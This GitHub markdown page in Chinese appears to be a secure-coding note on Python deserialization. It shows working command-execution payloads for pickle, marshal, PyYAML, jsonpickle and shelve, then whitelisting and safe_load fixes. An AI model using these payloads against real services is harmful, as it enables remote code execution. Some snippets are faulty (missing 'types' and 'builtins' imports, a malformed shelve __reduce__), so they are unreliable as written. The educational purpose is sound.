Skip to content

Latest commit

 

History

History
138 lines (108 loc) · 4.08 KB

反序列化.md

File metadata and controls

138 lines (108 loc) · 4.08 KB

反序列化

pickle模块实现了用于对Python对象结构进行序列化和反序列化的二进制协议。可造成威胁的一般是pickle.loadpickle.loads,或者面向对象的反序列化类pickle.Unpickler

def ser():
    ser = request.values.get('ser')
    s = pickle.loads(ser)

简单的利用是使用__reduce__,生成利用代码

import pickle,os

class exp(object):
    def __reduce__(self):
        return (os.system,('whoami',))
e = exp()
pickle.dumps(e)

之前写的关于pickle的漏洞使用等:https://misakikata.github.io/2020/04/python-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/

Marshal库序列化code对象,使用的loadloads方法会导致问题

import pickle,builtins,pickletools,base64
import marshal
import urllib
def foo():
    import os
    def fib(n):
        if n <= 2:
            return n
        return fib(n-1) + fib(n-2)
    print (fib(5))
try:
    pickle.dumps(foo.__code__)
except Exception as e:
    print(e)
code_serialized = base64.b64encode(marshal.dumps(foo.__code__))
code_unserialized = types.FunctionType(marshal.loads(base64.b64decode(code_serialized)), globals(), '')()
print(code_unserialized)

PyYAML库是yaml标记语言的python实现库,支持yaml格式的语言,有自己的实现来进行yaml格式的解析。yaml有一套对象转化规则,pyyaml在解析数据的时候遇到特定格式数据会自动转换。

比如,使用如下转换,实际是使用python模块执行了命令

cp = "!!python/object/apply:subprocess.check_output [[ls]]"
yaml.load(cp)

可以构造命令的python语法,有!!python/object/apply!!python/object/new两种。!!python/object接收的是一个dict类型的对象属性。并不接收args的列表参数。

jsonpickle用于将任意对象序列化为JSON的Python库。该对象必须可以通过模块进行全局访问,并且必须继承自对象(又称新类)。

创建一个对象:

class Thing(object):
    def __init__(self, name):
        self.name = name

obj = Thing('Awesome')

使用Jsonpickle将对象转换为JSON字符串:

import jsonpickle
frozen = jsonpickle.encode(obj)

使用Jsonpickle从JSON字符串重新创建Python对象:

thawed = jsonpickle.decode(frozen)

可以使用类似的利用方式:

>>> class Person(object):
...     def __reduce__(self):
...          return (__import__('os').system, ('whoami',))
...
>>> admin = Person()
jsonpickle.encode(admin)
'{"py/reduce": [{"py/function": "nt.system"}, {"py/tuple": ["whoami"]}]}'
>>> s = jsonpickle.encode(admin)
>>> jsonpickle.decode(s)
misaki\user

Shelve是对象持久化保存方法,将对象保存到文件里面,缺省(即默认)的数据存储文件是二进制的。

由于shelve是使用pickle来序列化数据,所以可以使用pickle的方式来执行命令

import shelve
import os
class exp(object):
    def __reduce__(self):
        return (os.system('whoami'))
file = shelve.open("test")
file['exp'] = exp()

修复代码

其中大部分反序列化库漏洞都是因为使用了pickle来做序列化和反序列化导致的,对于pickle,官方建议是重写Unpickler.find_class()设置白名单的方式来限制可以使用的模块方法,避免危险模块的引入。

import io
import pickle
safe_builtins = {   #白名单
    'range',
    'complex',
    'set',
    'frozenset',
    'slice',
}
class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == "builtins" and name in safe_builtins:   
            return getattr(builtins, name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))
def restricted_loads(s):
    return RestrictedUnpickler(io.BytesIO(s)).load()   

至于PyYAML,官方给了一个safe_load的函数和safe_load_all,可以安全的使用,因为它只解析进制格式类的转换。

反序列化最好不要直接去输入的参数进行,如果必须,可以采用加密签名的方式来达到输入的合法性和正确性。